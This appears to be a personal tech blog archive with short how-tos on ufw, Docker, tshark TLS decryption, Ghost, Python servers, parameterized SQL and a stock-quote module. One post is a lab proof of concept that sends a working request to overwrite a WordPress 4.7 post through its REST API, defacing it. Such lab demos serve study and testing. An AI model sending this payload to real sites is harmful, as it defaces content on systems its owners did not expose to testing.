Ubuntu – How to Block Visitors by Country with ‘ufw’

Objective:

You want to allow/deny incoming SSH connections to your server, based on originating country. Blocking needs to be done at the host OS.

Solution:

You can configure ‘ufw’ to deny connections based on source IP subnets. You can get IP subnets for a specific country from IP2location.com.

Procedures:

  1. Go to https://www.ip2location.com/free/visitor-blocker.
  2. Near the end of the page, under “Download List”, choose “Country”, and “Output Format” as “CIDR”, and save the file.
  3. Copy the file to your Linux host. Let’s say to your home directory. And the file name is cidr-singapore.txt.
  4. Run the following bash command from your host’s home directory, to add the rules (modify the port number as needed):
cat cidr-singapore.txt | grep -v ^# | while read subnet; do sudo ufw allow proto tcp from $subnet to any port 22; done
  1. Check the status of your ufw rules again.
sudo ufw status

Creating a Quick PoC for an Exploit with Docker

We will create a quick PoC for an exploit for a wordpress vulnerability. This is just to demonstrate the use of docker for PoC needs. I’ll be emphasizing more on the process than the vulnerability itself. For this demo, we will be exploiting an old content injection vulnerability. You can read about its technical details here, https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html.

In short, the exploit only requires to send a rest API call to the wordpress application.

To stage the demo, we will:

  • Setup a container that runs vulnerable version of WordPress-4.7. We’ll create a wordpress/mysql stack with docker compose.
  • Make an HTTP POST request with a new content that overwrites the original post. I will use HTTPie tool. You may choose any tool you’re familiar with, eg: curl, Postman, Insomnia.

Pre-requisite:

  • You must have Docker already installed. Running the command “docker version” from CLI should return server version.
  • You have an HTTP client that can make json HTTP post. I already have HTTPie on my Mac. I installed with “brew install httpie”

Create a directory.

Save the following file as ‘docker-compose.yml’:

version: '2'
services:
  wordpress:
    image: wordpress:4.7.0
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_PASSWORD: example
  
  mysql:
    image: mariadb
    environment:
      MYSQL_ROOT_PASSWORD: example

Within the same directory run the following command:

$ docker-compose up --force-recreate; docker-compose down -v

You should see Docker downloading images and spinning up the servers. Once finished you should be able to browse to http://localhost:8080 from your browser. Follow the instructions to finish the installation (by entering site name, username, password, fake email). Then you will see the admin dashboard. Go to Settings > Permalinks and choose the second option to enable pretty links. Open another browser window or new tab and browse to http://localhost:8080 again. You should see your blog and a Hello World post.

To start exploit, run the following command from the shell/terminal to overwrite the post content.

$ http -f POST localhost:8080/wp-json/wp/v2/posts/1/\?id=123abc \
   content:=\"This website has been hacked\"

Now browse the site again and observe the “Hello World” blog post content has changed.

To end the PoC, press Ctrl+C on the docker-compose terminal.

Using tshark to Decrypt SSL/TLS Packets

I’m going to walk you through the process of decoding SSL/TLS traffic from a pcap file with the server’s private key using tshark (command-line version of Wireshark). You can, of course, always use ssldump for the same purpose.

I assume you know how SSL/TLS works, and basic understanding of how Wireshark works, and why we use it.

I will start with getting a sample encrypted traffic that includes the handshake part (important for decryption later). For that purpose, we are going to use openssl command to generate a pair of server certificate and key. And then run the HTTPS server with openssl’s s_server command on port 4443 (or any other port you may like) using the generated certificate and key. Then we will issue a GET request to HTTPS server via curl. In the mean time, we will collect the traffic with tshark and will save the data into ssltest.pcap file.

# [1] create RSA cert and key pair
openssl req -new -x509 -out server.crt -nodes -keyout server.pem -subj /CN=localhost

# [2] run the server using the above
openssl s_server -www -cipher AES256-SHA -key server.pem -cert server.crt -accept 4443

# [3] from another console session, start capturing the traffic, on loopback interface
# (you will need to change lo0 to the relevant interface on your system.
tshark -s0 -w ssltest.pcap -i lo0

# [4] generate traffic from another console
curl -vk https://localhost:4443

# [5] Ctrl+C on the tshark command at [3], and stop the openssl server at [2]

At this point, we should have the file called ssltest.pcap from tshark, and server.crt/server.pem from openssl commands.

Next, we are going to read the pcap file and decode the traffic.

# [1] it shows the encrypted traffic
tshark -r ssltest.pcap

# [2] for details of the packets
tshark -r ssltest.pcap -V

# [3] for decrypted data; ssl.keys_list points to the RSA key
# added -x for hex dump
# At the output you should see the message in packet detail:
#  >>> Decrypted SSL record (16 bytes):
# And the decrypted data:
# >>> Hypertext Transfer Protocol
# >>>    GET / HTTP/1.1\r\n
tshark -r ssltest.pcap -V -x -o "ssl.debug_file:ssldebug.log" -o "ssl.desegment_ssl_records: TRUE" -o "ssl.desegment_ssl_application_data: TRUE" -o "ssl.keys_list:127.0.0.1,4443,http,server.pem"

# [4] inspecting ssldebug.log output from [3]
# You should see the following messeage near the top of the file:
#   >>> ssl_init private key file server.pem successfully loaded.
cat ssldebug.log

In Wireshark GUI, we can follow “SSL stream” that will dump the ASCII output from the stream. How are we going to do it with tshark?

# We add -z to show the statistics with option 'follow,ssl,ascii,1'
# to follow ssl stream number 1
# -q to suppress packet dumps
tshark -r sslsample.pcap -q -o "ssl.keys_list:127.0.0.1,4443,http,server.pem" -z "follow,ssl,ascii,1"

You will see the output similar to below:

===================================================================
Follow: ssl,ascii
Filter: tcp.stream eq 1
Node 0: 127.0.0.1:55041
Node 1: 127.0.0.1:4443
78
GET / HTTP/1.1
Host: localhost:4443
User-Agent: curl/7.43.0
Accept: */*


	1802
HTTP/1.0 200 ok
Content-type: text/html


<_pre>

s_server -www -cipher AES256-SHA -key server.pem -cert server.crt -accept 4443
Ciphers supported in s_server binary
TLSv1/SSLv3:AES256-SHA
---
Ciphers common between both SSL end points:
ECDHE-ECDSA-AES256-SHA     ECDHE-ECDSA-AES128-SHA     ECDHE-ECDSA-DES-CBC3-SHA
ECDHE-RSA-AES256-SHA       ECDHE-RSA-AES128-SHA       ECDHE-RSA-DES-CBC3-SHA
ECDH-ECDSA-AES256-SHA      ECDH-ECDSA-AES128-SHA      ECDH-ECDSA-DES-CBC3-SHA
ECDH-RSA-AES256-SHA        ECDH-RSA-AES128-SHA        ECDH-RSA-DES-CBC3-SHA
DHE-RSA-AES256-SHA         DHE-RSA-AES128-SHA         EDH-RSA-DES-CBC3-SHA
AES256-SHA                 AES128-SHA                 DES-CBC3-SHA
ECDHE-ECDSA-RC4-SHA        ECDHE-RSA-RC4-SHA          ECDH-ECDSA-RC4-SHA
ECDH-RSA-RC4-SHA           RC4-SHA                    RC4-MD5
---
New, TLSv1/SSLv3, Cipher is AES256-SHA
SSL-Session:
    Protocol  : TLSv1
    Cipher    : AES256-SHA
    Session-ID: B9AE3B24559606A2723F987F21E9C202EDB19366098286083F3BDCDABE45B300
    Session-ID-ctx: 01000000
    Master-Key: 98DC04D8CD7AE943A08BE013CD4C7D0608950BC201B953BC12755EC9B4804D453148173B00043EF6A01CAC43F7B0005C
    Key-Arg   : None
    Start Time: 1453795701
    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
---
   2 items in the session cache
   0 client connects (SSL_connect())
   0 client renegotiates (SSL_connect())
   0 client connects that finished
   2 server accepts (SSL_accept())
   0 server renegotiates (SSL_accept())
   2 server accepts that finished
   0 session cache hits
   0 session cache misses
   0 session cache timeouts
   0 callback cache hits
   0 cache full overflows (128 allowed)
---
no client certificate available


===================================================================

OS X and Android SDK

Android SDK can be installed with Homebrew (http://brew.sh).

brew install android-idk

Then run the following to install the SDK packages:

android

If you don’t want SDK and just want to install “adb” and “fastboot” for android phones, just install:

brew install android-platform-tools

Running Ghost on Ubuntu

Ghost blogging platform was released to public on Oct 14, 2013. It’s a nodejs app, that was started out as a kickstarter.

Since it’s out for public download, I tried to deploy it on a droplet from Digital Ocean running Ubuntu 13.04.

Firstly, Ubuntu repository does not have the latest version of nodejs. Ghost requires nodejs later than 0.8, while nodejs in Ubuntu is 0.68. I had to install nodejs from ppa and later proxy though my current nginx server.

sudo apt-get install python-software-properties
sudo add-apt-repository ppa:chris-lea/node.js
sudo apt-get update
sudo apt-get install nodes

These are the steps required to make it work:
(Initial requirement is that you already have nginx server setup and running).

  1. SSH into your machine and download the file from https://en.ghost.org/download.
  2. Unzip the file into a directory.
  3. Then run “npm install –production”
    (If you don’t have the latest version of npm, it will throw errors)
  4. In your nginx server definition, add this location:
    [bash]location / {
    proxy_pass http://127.0.0.1:2368;
    proxy_set_header Host $host;
    proxy_buffering off;
    }[/bash]
  5. Then re-start your nginx and from the Ghost installation directory run “npm start”
  6. You should see something like this, if everything is okay:
    $ npm start
    > [email protected] start /home/msoe/public_html/ghost
    > node index
    
    Ghost is running...
    Listening on 127.0.0.1:2368
    Url configured as: http://my-ghost-blog.com
    Ctrl+C to shut down
  7. Now try to access, through your nginx server. You should start seeing console is logging requests coming in.

This document is based on Ghost’s deployment guide.

HTTP and HTTPS server with Python

Python 2 has already included an HTTP server module in its later versions. And running the server is as simple as this:

[email protected]:/var/www/# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

It starts the server on port 8000 (by default), and if we want to run on a different port, we will just add the new port number at the end of the command.

[email protected]:/var/www/# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

With Python 3, the package merged into http.server. So we would call:

[email protected]:/var/www/# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 ...

When we need to customize how the server behaves (e.g. to run the server on a specific IP address), we can write a very simple python codes:

import SimpleHTTPServer
import SocketServer

web_server = SocketServer.TCPServer(("localhost", 8080), SimpleHTTPServer.SimpleHTTPRequestHandler)
web_server.serve_forever()

If we want HTTPS server, we will need to use built-in “ssl” module. We need to wrap the httpd socket with wrap_socket method. The certificate needs to be in PEM format (RFC1422).

import BaseHTTPServer, SimpleHTTPServer
import ssl

web_server = BaseHTTPServer.HTTPServer(('localhost', 8443), SimpleHTTPServer.SimpleHTTPRequestHandler)
web_server.socket = ssl.wrap_socket (web_server.socket, 
                                     server_side=True,
                                     certfile="mydomain.crt",
                                     keyfile="mydomain.key")
web_server.serve_forever()

In general, we just need a socket and a handler to serve.

Making SQL Queries

This article is to summarize how do we make SQL queries using different languages and their methods. Making connection to the database will not be covered here.

In the examples, we will be querying “SELECT * FROM employees where eid =and dept =”

It is not recommended to use SQL statements without placeholders in order to reduce the risk of SQL injection.

Java

In Java, we can use JDBC, Hibernate, or some other database frameworks to interact with databases. Generally, I would prefer to use methods that allow me to insert “values” into an sql query. With JDBC, we can use PreparedStatement method. There is also createStatement method, where you insert user-supplied values into the query directly.

Basically the flow looks like this:

  1. Get a “Connection” object, with DriverManager
  2. From “Connection” object, we create a “Statement” object with sql statement.
  3. From the statement object, we generate “ResultSet”.
int employeeId = 512 // we will query for employee with id 512
int deptId = 206 // from department 206

Connection connection = DriverManager.getConnection(...); // please fill in
PreparedStatement statement = connection.prepareStatement("SELECT * FROM employees WHERE eid = ? AND dept = ?");
statement.setInt(1, employeeId); // use setString if the argument is a String
statement.setInt(2, deptId);
ResultSet rs = statement.executeQuery();
while (rs.next()) { // Iterate the result set
// ...
}

PHP

PHP has more methods to interact with database. It also depends on the module the php interpreter is built with. We can use MySQL extension, PostgreSQL extension, or ADODB or PDO as generic abstraction interfaces.

With mysqli extension

$db = new mysqli('localhost', 'user', 'password', 'world');
$statement = $db->prepare('SELECT * FROM employees WHERE eid = ? AND dept = ?');
$statement->bind_param('dd', $employeeId, $deptId); // types and variables

$employeeId = 512;
$deptId = 206;

$statement->execute();

NOTE: Why mysqli instead of mysql command? If we are using MySQL v4.1.3 and above, PHP manual recommends to use mysqli which is an improved version. Reference.

With PostgreSQL extension

$db = pg_connect("dbname=world");

$employeeId = 512;
$deptId = 206;

$result = pg_query_params($db, 'SELECT * FROM employees WHERE eid = ? AND dept = ?', array($employeeId, $deptId));

With ADODB

$db = NewADOConnection('mysql');
$db->Connect('localhost', 'user', 'password', 'world');
// Can also use $db = NewADOConnection('mysql://$user:[email protected]$server/$db?persist")
$rs = $db->execute('SELECT * FROM employees WHERE eid = ? AND dept = ?', array($employeeId, $deptId));
while($array = $rs->FetchRow()) {
//...
}

With PDO

$db = new PDO('mysql:host=$host;dbname=$dbname', $user, $pass);
$employeeId = 512;
$deptId = 206;

// We will use unamed placeholders.
$statement = $db->prepare('SELECT * FROM employees WHERE eid = ? AND dept = ?');
$statement->bindParam(1, $employeeId);
$statement->bindParam(2, $deptId);
$statement->execute();
// ...

KDE 4.8, Google Chrome and the Proxy

My KDE was just upgraded to v4.8 from v4.7.x. Privoxy was also configured on the same PC, just to strip some codes. Google Chrome is configured to use the Privoxy proxy on port 8118.

After the upgrade, Google Chrome has failed to connect to internet. At the same time, Firefox was working perfectly with or without using privoxy.

I tried to capture the packets on the local interface and on port 8118, and got nothing coming in. I wasn’t still sure what’s happening, and even tried to re-compile the privoxy, and tweak some of its settings. It was still not working.

Then, I needed to check KDE’s config file where it stores the proxy settings, as Google Chrome uses KDE’s settings. And there, the proxy is stored as “http://127.0.0.1 8118”, with a space between the host and the port. In version 4.7.x, it uses http://: format to store. Google Chrome fails to parse the setting. The config file is located under ~/.kde4/share/config/kioslaverc.

In order to make things work, I needed to manually tweak that line back to v4.7.x format, or exec Google Chrome with –proxy-server setting.

Python: Pyql module to obtain stock quotes from Y! Finance

I just made an initial attempt to fetch the stock quotes via YQL, and put the codes into a module. The method “lookup” will return a list of python dictionary item(s), based on the information decoded from Yahoo’s JSON data.

The current snapshot is posted on Google Code. The code doesn’t work with Python 3. It should work fine with Python 2.2 or higher.

To clone the source codes to a local resource, please feel free to do so via mercurial.

hg clone https://pyql.googlecode.com/hg/ pyql

Example Usage:

import pyql

tickers = ['AAPL', 'GOOG']
print ( pyql.lookup( tickers ) )
singleTicker = ['FFIV']
print ( pyql.lookup( singleTicker) )